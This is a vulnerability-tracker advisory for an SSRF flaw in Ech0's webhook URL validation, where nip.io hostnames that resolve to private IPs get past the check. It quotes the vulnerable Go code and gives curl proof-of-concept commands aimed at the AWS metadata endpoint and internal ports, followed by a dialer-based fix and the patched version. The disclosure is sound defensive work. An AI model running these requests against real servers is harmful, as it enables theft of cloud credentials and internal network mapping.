CVE-2026-79671Medium· 5.5▾ SunlitEch0 has SSRF via DNS Resolution Bypass in Webhook URL Validation
▾ Sunlit zone — Low / medium · no exploitation signal
impact 30.3 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Aug 27.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.2%
The validateWebhookURL function in webhook_setting_service.go attempts to block webhooks targeting private/internal IP addresses, but only checks literal IP strings via net.ParseIP(). Hostnames that DNS-resolve to private IPs (e.g., 169.254.169.254.nip.io, 10.0.0.1.nip.io) bypass all checks, allowing an admin to create webhooks that make server-side requests to internal network services and cloud metadata endpoints.
The vulnerability is in validateWebhookURL (internal/service/setting/webhook_setting_service.go:180-199):
func validateWebhookURL(rawURL string) error {
parsed, err := url.Parse(rawURL)
// ...
host := strings.ToLower(parsed.Hostname())
if host == "" || host == "localhost" || strings.HasSuffix(host, ".local") {
return errors.New(commonModel.INVALID_WEBHOOK_URL)
}
if ip := net.ParseIP(host); ip != nil { // <-- returns nil for hostnames
if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalMulticast() ||
ip.IsLinkLocalUnicast() || ip.IsUnspecified() {
return errors.New(commonModel.INVALID_WEBHOOK_URL)
}
}
return nil // hostname passes all checks unchecked
}
net.ParseIP("169.254.169.254.nip.io") returns nil because it is not a literal IP address. The entire private IP check block is skipped, and the function returns nil (valid).
Both HTTP clients that execute webhook requests use standard http.Client / http.Transport with no custom DialContext to verify resolved IPs:
webhook_setting_service.go:169): &http.Client{Timeout: 5 * time.Second}dispatcher.go:51-58): &http.Client{...Transport: &http.Transport{...}} — no custom dialerThe Dispatcher.HandleObservation (dispatcher.go:67-81) iterates all active webhooks and dispatches without re-validating URLs, so a stored malicious webhook triggers SSRF on every application event.
Execution flow:
/api/webhook with URL http://169.254.169.254.nip.io/latest/meta-data/CreateWebhook → validateWebhookURL → net.ParseIP returns nil → passes validationis_active: trueDispatcher.HandleObservation → Dispatch → SendWithRetry → DNS resolves 169.254.169.254.nip.io to 169.254.169.254 → POST to cloud metadata endpoint# Step 1: Create a webhook targeting cloud metadata via DNS rebinding
curl -X POST http://localhost:8080/api/webhook \
-H 'Authorization: Bearer <admin-jwt>' \
-H 'Content-Type: application/json' \
-d '{"name":"ssrf-probe","url":"http://169.254.169.254.nip.io/latest/meta-data/","secret":"","is_active":true}'
# Step 2: Trigger SSRF via test endpoint
curl -X POST http://localhost:8080/api/webhook/<webhook-id>/test \
-H 'Authorization: Bearer <admin-jwt>'
# The server makes an HTTP POST to 169.254.169.254 (AWS metadata).
# net.ParseIP("169.254.169.254.nip.io") returns nil, skipping all IP checks.
# Delivery status and error messages reveal connectivity information.
# For internal network scanning:
# http://10.0.0.1.nip.io:8080/
# http://127.0.0.1.nip.io:6379/
# With is_active:true, every application event automatically dispatches
# to the SSRF target via Dispatcher.HandleObservation (no re-validation).
169.254.169.254, GCP, Azure) to steal IAM credentials, instance identity tokens, and configuration data.success/failed) and error messages, mapping internal network topology.Replace the hostname-only check with a custom net.Dialer that resolves DNS and validates the resolved IP before connecting. Apply this to both HTTP clients:
import "net"
func safeDialContext(ctx context.Context, network, addr string) (net.Conn, error) {
host, port, err := net.SplitHostPort(addr)
if err != nil {
return nil, err
}
ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
if err != nil {
return nil, err
}
for _, ip := range ips {
if ip.IP.IsLoopback() || ip.IP.IsPrivate() || ip.IP.IsLinkLocalUnicast() ||
ip.IP.IsLinkLocalMulticast() || ip.IP.IsUnspecified() {
return nil, fmt.Errorf("resolved IP %s is not allowed", ip.IP)
}
}
dialer := &net.Dialer{Timeout: 5 * time.Second}
return dialer.DialContext(ctx, network, addr)
}
// Use in both TestWebhook and Dispatcher:
client := &http.Client{
Timeout: 5 * time.Second,
Transport: &http.Transport{
DialContext: safeDialContext,
},
}
This ensures resolved IPs are checked against the private range blocklist regardless of hostname used.
github.com/lin-snow/ech0 < 4.4.3Upgrade to a patched release:
github.com/lin-snow/ech0 4.4.3Connected by shared product, vendor, weakness, or advisory.
CVE-2026-79669Medium· 4.3Ech0's Missing Authorization on System Logs Allows Non-Admin Information Disclosure
CVE-2026-79673Medium· 6.5Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session
CVE-2026-79672Medium· 5.5Ech0 Comment Panel Endpoints Missing RequireScopes Middleware — Scoped Access Token Bypass
CVE-2026-79670Medium· 4.8Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload
CVE-2026-79660Medium· 5.3Ech0 comment model's Email field returned on public /api/comments endpoints
CVE-2026-79668Medium· 5.3Ech0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation